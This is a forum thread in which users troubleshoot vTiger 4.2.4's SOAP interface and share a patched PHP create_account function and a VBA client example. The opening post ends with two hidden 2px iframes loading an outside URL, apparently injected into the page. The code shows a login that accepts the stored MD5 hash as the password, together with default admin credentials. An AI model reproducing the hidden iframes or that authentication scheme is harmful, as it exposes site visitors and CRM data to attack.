Soap not working in vTiger 4.2.4

Hi,

I am trying to access vTiger from VBA.
For that I am trying to use Soap but without any success.

Even from a browser when access the following link:
<!-- m --><a class="postlink" href="http://myserverip/contactserialize.php?wsdl">http://myserverip/contactserialize.php?wsdl</a><!-- m -->
I get:
Opera: XML parsing failed: not well-formed (Line: 1, Character: 5)
IE: A semi colon character was expected.
Error processing resource 'http://x.x.x.x/contactserialize.php?wsdl'. Line 17, Posit

Am I missing something or Is Soap not working on vTiger ?
I would apreciate any help.

Thanks,

Pedro <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 4 Comments sorted by Votes Date Added
  • i've gotten it to work by doing a number of things including applying the patch for the outlook plugin (included in the .zip). i've only verifiied the functions get_contacts_columns and contact_by_email. i may find more little bugs as i go through each function but this should help get you off the ground. be sure to backup your stuff in case you did mods to contact.php or activities.php. the little test program using nusoap is included (mysoap.php) -- just change the calls to your server and user names.

    works with 4.2.3 and 4.2.4.
  • hi michael,

    thanks for your reply.
    i haven't look into your code yet.
    i got it working by doing:
    - instaling 4.2.4
    - applying the patch by terry (november 2005)
    <!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?t=3722">http://forums.vtiger.com/viewtopic.php?t=3722</a><!-- m -->
    i just installed this file:
    contactserialize.php
    i did not replace the nusoap files

    since i needed the function create_account i also use soap.php.
    i had to change the create_account function on soap.php, since it didn't work
    for example i had to change several line similar to this one, from:
    $account->website = $website;
    to
    $account->column_fields[website] = $website;
    my function:
    function create_account&#40;$user_name,$password, $name, $phone, $website&#41;
    &#123;
    	if&#40;!validate_user&#40;$user_name, $password&#41;&#41;&#123;
    		return 0;
    	&#125;
    	global $log;
    
    	//todo make the activity body not be html encoded
    //	$log-&gt;fatal&#40;&quot;in create contact&#58; username&#58; $user_name first/last/email &#40;$first_name, $last_name, $email_address&#41;&quot;&#41;;
    
        $log-&gt;info&#40;&quot;pneves&#58; create account&#58; $user_name,$password, $name, $phone, $website&quot;&#41;;
    
    
    	require_once&#40;'modules/users/user&#46;php'&#41;;
    	$seed_user = new user&#40;&#41;;
    	$user_id = $seed_user-&gt;retrieve_user_id&#40;$user_name&#41;;
    	$current_user = $seed_user;
        $account = new account&#40;&#41;;
    	//$account-&gt;name = $name;
    	//$account-&gt;phone_office = $phone;
    	$account-&gt;column_fields&#91;accountname&#93; = $name;
    	$account-&gt;column_fields&#91;phone&#93; = $phone;
    	$account-&gt;column_fields&#91;website&#93; = $website;
    	$account-&gt;assigned_user_id = $user_id;
    	$account-&gt;assigned_user_name = $user_name;
    	$accountid = $account-&gt;save&#40;&quot;accounts&quot;&#41;;
    	$log-&gt;info&#40;&quot;pneves&#58; create account , accountid - $accountid&quot;&#41;;
        //return &quot;$accountid&quot;;
        return 1;
    &#125;
    
    my vba (visual basic) code example:

    - for a contactserialize.php function
         set objsclient = new soapclient30
         call objsclient&#46;mssoapinit&#40;par_wsdlfile&#58;=&quot;http&#58;//10&#46;2&#46;0&#46;7/contactserialize&#46;php?wsdl&quot;&#41;
         fresult = objsclient&#46;get_contacts_count&#40;&quot;admin&quot;, &quot;admin&quot;&#41;
         fresult = objsclient&#46;get_version&#40;&quot;admin&quot;, &quot;admin&quot;&#41;
         set objsclient = nothing
    
    - for a soap.php function
         set objsclient = new soapclient30
         call objsclient&#46;mssoapinit&#40;par_wsdlfile&#58;=&quot;http&#58;//10&#46;2&#46;0&#46;7/soap&#46;php?wsdl&quot;&#41;
         // i could not use the password &quot;admin&quot;, i had to get the user_hash from the database
         // since authenticate_user function in user&#46;php does this -&gt; and user_hash='$password'&quot;
         // to get the user_hash do -&gt; select * from users ;
         fresult = objsclient&#46;create_account&#40;&quot;admin&quot;, &quot;21232f297a57a5a743894a0e4a801fc3&quot;, &quot;dnl-nome2&quot;, &quot;00351217586856&quot;, &quot;www&#46;google&#46;com&quot;&#41;
         set objsclient = nothing
    
    questions:
    - why do we have this two files:
    - contactserialize.php
    - soap.php
    couldn't we have all functions in one file ?
    i needed to use soap.php to use this function: create_account
    is it ok to use soap.php ?

    - is there a function that returns current accounts ?

    - who mantains this files ?
    i am asking this since terry had the same problems more than
    6 motnhs ago and i still find the same problems.

    - why this code doesn't have comments ?
    it would help.

    - are the soap files updated when the related module code is changed ?

    please give me some guidelines on how to use this soap code, since although i
    got it working i have alot of questions and i am not really sure how this code
    should work and if i am using it correctly.

    thanks a lot,

    pedro
  • hi pedro,

    nice work on the create account.

    the soap.php looks like a carryover from sugarcrm. if you tried running it at all you would have gotten errors for the opportunities and cases includes which are sugar not vtiger.

    there doesn't appear to be a function that returns current accounts primarily i think because the soap stuff was created for the outlook plugin and there's no concept of an account in outlook. you should just be able to copy the getcontacts from the vtigerolservice.php (and contact.php) and change it for accounts.
Sign In or Register to comment.